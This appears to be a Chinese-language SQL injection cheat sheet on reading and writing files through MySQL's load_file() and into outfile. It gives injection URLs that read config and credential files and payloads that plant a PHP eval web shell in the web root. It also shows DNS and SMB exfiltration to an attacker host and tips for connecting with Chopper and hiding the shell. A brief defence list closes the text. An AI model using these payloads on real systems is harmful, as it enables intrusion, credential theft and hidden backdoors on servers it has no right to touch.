0x00 load_file()
- 条件:
1. 要有file_priv权限2. 知道文件绝对路径3. 能使用union 4. 对web目录有读权限 注:若过滤了单引号,则可以将函数中的字符进行hex编码
-
一般步骤
- 读/etc/init.d下的东西,这里有配置文件路径
?id=1' union select 1,2,load_file('/etc/init.d/httpd')
- 得到web安装路径
?id=1' union select 1,2,load_file('/etc/apache/conf/httpd.conf')
- 读取密码文件
?id=1' union select 1,2,load_file('/site/xxx.com/conf/conn.inc.php')
读文件
如果用户具有FILE权限,则可以读取文件。
LOAD_FILE()Examples:SELECT LOAD_FILE('F:/wing.txt'); SELECT LOAD_FILE(0x463A2F77696E672E747874);
tips:
- 文件必须位于服务器主机上。
- LOAD_FILE()的基本目录是@@datadir。
- 该文件必须是MySQL用户可读的。
- 文件大小必须小于max_allowed_packet。
- @@max_allowed_packet的默认大小是1047552字节。
0x01 into outfile
- 条件:
1. 要有file_priv权限 2. 知道网站绝对路径 3. 要能用union 4. 对web目录有写权限 5. 没有过滤单引号 6.文件不能用INTO OUTFILE覆盖 7.INTO OUTFILE必须是查询中的最后一个语句。 8.没有办法对路径名进行编码,所以引号是必需的。
-
一般方法
当知道路径时,可以直接用?id=1 union select "<?php @eval($_POST['c']);?>" into outfile"C:/phpStudy/WWW/a.php" - 当"<?php @eval($_POST['c']);?>" 是双引号括起来时是正常的,如果是单引号括起来,里面的单引号就变为两个单引号为一个单引号 如'<?php @eval($_POST[''c'']);?>'
- 这里改为十六进制也是可以的 如 select 0x3c3f70687020706870696e666f28293b203f3e into outfile"c:\1.txt"
-
外通道
DNS Requests:SELECT LOAD_FILE(CONCAT('\\\\foo.',(select MID(version(),1,1)),'.ceye.io\\'));
SMB Requests:' OR 1=1 INTO OUTFILE '\\\\attacker\\SMBshare\\output.txt
-
-
其他方法
- 登陆phpMyAdmin
use test; 选择数据库为testcreate table aaa(bbb varchar(64)); 在数据库中创建一个表aaainsert into aaa values(" "); --在aaa中插入一条数据 select * from aaa into outfile 'C:/phpStudy/WWW/a.php'; --将aaa中的数据导出到文件a.php
- localhost:80/a.php能访问
drop aaa; --删除建立的表
- 然后菜刀连接
菜刀连接http://www.aa.com/a.php,然后更改shell的名字并将shell放在较隐蔽的地方,比如C:\phpStudy\WWW\phpMyAdmin\setup\lib\common.php
1、如果MYSQL服务器就是你要导出文件的机器,那么可以直接用select …into outfile语句。
select * from rank into outfile "/home/a.txt"
2、如果MYSQL服务器是单独的机器,我们是在一个client上进行操作,我们要把数据结果导入到client机器上。可以使用 -e语句。
mysql -uroot -proot -P3306 -h10.35.13.89 dbname -e "select * from rank" > /home/a.txt
3、使用mysql的tee(T)命令,也就是把MYSQL的所有输出都输入到指定文件。
mysql>tee /home/a.txt
mysql>select * from rank;mysql>exit
或
mysql> \T output.txt
Logging to file 'output.txt'mysql> \tOutfile disabled.
0x02 防御
- 数据库连接账号不要用root权限
- php关闭报错模式
- mysql账户没有权限向网站目录写文件